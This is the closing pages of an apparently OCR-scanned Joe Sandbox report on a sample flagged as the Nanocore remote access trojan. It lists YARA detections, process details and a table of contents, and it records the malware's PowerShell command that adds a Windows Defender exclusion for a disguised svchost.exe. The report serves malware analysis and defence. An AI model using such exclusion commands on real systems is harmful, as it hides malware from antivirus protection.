0000001B.00000000.376186013.0000000004F84000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000001B.00000000.390942305.0000000005084000.00000004.00000001.sdmp, Author:
Florian Roth

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000001B.00000000.390942305.0000000005084000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
0000001B.00000000.390942305.0000000005084000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000001B.00000000.390942305.0000000005084000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: NanoCore, Description: unknown, Source:
0000001B.00000000.390942305.0000000005084000.00000004.00000001.sdmp, Author:
Kevin Breen <kevin@techanarchy.net>

Analysis Process: WerFault.exe PID: 7068 Parent PID: 7084

General

Start time: 20:27:55

Start date: 27/09/2021

Path: C:\Windows\SysWOWe64\WerFault.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4956 -ip 4956
Imagebase: 0x960000
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File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

434592 bytes
9E2BBACAD48ECCA55C0230D63623661B
true

true

C, C++ or other language

Analysis Process: svchost.exe PID: 6792 Parent PID: 556

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

20:27:57
27/09/2021
C:\Windows\System32\svchost.exe

false

c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc

0x7ff797770000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA
true

false

C, C++ or other language

Analysis Process: powershell.exe PID: 340 Parent PID: 6728

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

20:28:05
27/09/2021

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

true

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex

0x11b0000

430592 bytes
DBA3E6449E97D4E3DF64527EF7012A10
true

true

.Net C# or VB.NET

Analysis Process: conhost.exe PID: 6000 Parent PID: 340

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

20:28:05

27/09/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7ecfc0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: powershell.exe PID: 1848 Parent PID: 6728
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General

Start time: 20:28:05

Start date: 27/09/2021

Path: C:\Windows\SysWOWe64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\Public\Documents\???????????????\svchost.exe’ -Force

Imagebase: 0x11b0000

File size: 430592 bytes

MDS5 hash: DBA3E6449E97D4E3DF64527EF7012A10

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Analysis Process: WerFault.exe PID: 2964 Parent PID: 4956

General

Start time: 20:28:05

Start date: 27/09/2021

Path: C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerfFault.exe -u -p 4956 -s 2184
Imagebase: 0x960000

File size: 434592 bytes

MD5 hash: 9E2BBACAD48ECCA55C0230D63623661B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Analysis Process: conhost.exe PID: 6492 Parent PID: 1848

General

Start time: 20:28:06

Start date: 27/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: powershell.exe PID: 2584 Parent PID: 6728

General

Start time: 20:28:06

Start date: 27/09/2021

Path: C:\Windows\SysWOWe64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\Public\Documents\???????????????\svchost.exe' -Force

Imagebase: 0x11b0000
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File size: 430592 bytes

MDS5 hash: DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Analysis Process: conhost.exe PID: 980 Parent PID: 2584

General

Start time: 20:28:06

Start date: 27/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: WerFault.exe PID: 6444 Parent PID: 7084

General

Start time: 20:28:15

Start date: 27/09/2021

Path: C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOWe64\WerFault.exe -pss -s 472 -p 6728 -ip 6728
Imagebase: 0x960000

File size: 434592 bytes

MD5 hash: 9E2BBACAD48ECCAS55C0230D63623661B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: WerFault.exe PID: 5576 Parent PID: 6728

General

Start time: 20:28:25

Start date: 27/09/2021

Path: C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -u -p 6728 -s 2600
Imagebase: 0x960000

File size: 434592 bytes

MD5 hash: 9E2BBACAD48ECCAS55C0230D63623661B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Analysis Process: svchost.exe PID: 5596 Parent PID: 556
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General

Start time: 20:28:26

Start date: 27/09/2021

Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase: 0x7ff797770000

File size: 51288 bytes

MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: MpCmdRun.exe PID: 6708 Parent PID: 6792

General

Start time: 20:29:03

Start date: 27/09/2021

Path: C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit): false

Commandline: ‘C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable
Imagebase: 0x7ff69d880000

File size: 455656 bytes

MD5 hash: A267555174BFA53844371226F482B86B

Has elevated privileges: true

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 1500 Parent PID: 556

General

Start time: 20:29:03

Start date: 27/09/2021

Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 4840 Parent PID: 6708

General

Start time: 20:29:03

Start date: 27/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
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Has elevated privileges: true
Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 7052 Parent PID: 556

General

Start time: 20:29:21

Start date: 27/09/2021

Path: C:\Windows\System32\svchost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 33.0.0 White Diamond

Copyright Joe Security LLC 2021 Page 118 of 118


http://www.joesecurity.org

	Table of Contents
	Windows Analysis Report s9SWgUgyO5.exe
	Overview
	General Information
	Detection
	Signatures
	Classification

	Process Tree
	Malware Configuration
	Yara Overview
	Memory Dumps
	Unpacked PEs

	Sigma Overview
	AV Detection:
	E-Banking Fraud:
	System Summary:
	Stealing of Sensitive Information:
	Remote Access Functionality:

	Jbx Signature Overview
	AV Detection:
	Exploits:
	Networking:
	E-Banking Fraud:
	System Summary:
	Persistence and Installation Behavior:
	Boot Survival:
	Hooking and other Techniques for Hiding and Protection:
	Malware Analysis System Evasion:
	Anti Debugging:
	HIPS / PFW / Operating System Protection Evasion:
	Lowering of HIPS / PFW / Operating System Security Settings:
	Stealing of Sensitive Information:
	Remote Access Functionality:

	Mitre Att&ck Matrix
	Behavior Graph
	Screenshots
	Thumbnails

	Antivirus, Machine Learning and Genetic Malware Detection
	Initial Sample
	Dropped Files
	Unpacked PE Files
	Domains
	URLs

	Domains and IPs
	Contacted Domains
	Contacted URLs
	URLs from Memory and Binaries
	Contacted IPs
	Public
	Private

	General Information
	Simulations
	Behavior and APIs

	Joe Sandbox View / Context
	IPs
	Domains
	ASN
	JA3 Fingerprints
	Dropped Files

	Created / dropped Files
	Static File Info
	General
	File Icon
	Static PE Info
	General
	Authenticode Signature
	Entrypoint Preview
	Data Directories
	Sections
	Resources
	Imports
	Version Infos
	Possible Origin


	Network Behavior
	Snort IDS Alerts
	Network Port Distribution
	TCP Packets
	UDP Packets
	DNS Queries
	DNS Answers
	HTTP Request Dependency Graph
	HTTPS Proxied Packets

	Code Manipulations
	Statistics
	Behavior

	System Behavior
	Analysis Process: s9SWgUgyO5.exe PID: 6376 Parent PID: 5196
	General
	File Activities
	Registry Activities

	Analysis Process: powershell.exe PID: 6564 Parent PID: 6376
	General
	File Activities

	Analysis Process: conhost.exe PID: 6572 Parent PID: 6564
	General

	Analysis Process: powershell.exe PID: 6588 Parent PID: 6376
	General
	File Activities

	Analysis Process: conhost.exe PID: 6640 Parent PID: 6588
	General

	Analysis Process: powershell.exe PID: 6648 Parent PID: 6376
	General

	Analysis Process: conhost.exe PID: 6748 Parent PID: 6648
	General

	Analysis Process: svchost.exe PID: 6956 Parent PID: 556
	General

	Analysis Process: s9SWgUgyO5.exe PID: 7060 Parent PID: 6376
	General

	Analysis Process: svchost.exe PID: 7084 Parent PID: 556
	General

	Analysis Process: WerFault.exe PID: 7124 Parent PID: 7084
	General

	Analysis Process: svchost.exe PID: 4956 Parent PID: 3472
	General

	Analysis Process: svchost.exe PID: 2376 Parent PID: 556
	General

	Analysis Process: svchost.exe PID: 3708 Parent PID: 556
	General

	Analysis Process: svchost.exe PID: 3240 Parent PID: 556
	General

	Analysis Process: WerFault.exe PID: 1060 Parent PID: 6376
	General

	Analysis Process: powershell.exe PID: 3444 Parent PID: 4956
	General

	Analysis Process: svchost.exe PID: 4988 Parent PID: 556
	General

	Analysis Process: conhost.exe PID: 6084 Parent PID: 3444
	General

	Analysis Process: powershell.exe PID: 2196 Parent PID: 4956
	General

	Analysis Process: conhost.exe PID: 1100 Parent PID: 2196
	General

	Analysis Process: powershell.exe PID: 1752 Parent PID: 4956
	General

	Analysis Process: conhost.exe PID: 6836 Parent PID: 1752
	General

	Analysis Process: svchost.exe PID: 6728 Parent PID: 3472
	General

	Analysis Process: WerFault.exe PID: 7068 Parent PID: 7084
	General

	Analysis Process: svchost.exe PID: 6792 Parent PID: 556
	General

	Analysis Process: powershell.exe PID: 340 Parent PID: 6728
	General

	Analysis Process: conhost.exe PID: 6000 Parent PID: 340
	General

	Analysis Process: powershell.exe PID: 1848 Parent PID: 6728
	General

	Analysis Process: WerFault.exe PID: 2964 Parent PID: 4956
	General

	Analysis Process: conhost.exe PID: 6492 Parent PID: 1848
	General

	Analysis Process: powershell.exe PID: 2584 Parent PID: 6728
	General

	Analysis Process: conhost.exe PID: 980 Parent PID: 2584
	General

	Analysis Process: WerFault.exe PID: 6444 Parent PID: 7084
	General

	Analysis Process: WerFault.exe PID: 5576 Parent PID: 6728
	General

	Analysis Process: svchost.exe PID: 5596 Parent PID: 556
	General

	Analysis Process: MpCmdRun.exe PID: 6708 Parent PID: 6792
	General

	Analysis Process: svchost.exe PID: 1500 Parent PID: 556
	General

	Analysis Process: conhost.exe PID: 4840 Parent PID: 6708
	General

	Analysis Process: svchost.exe PID: 7052 Parent PID: 556
	General


	Disassembly
	Code Analysis



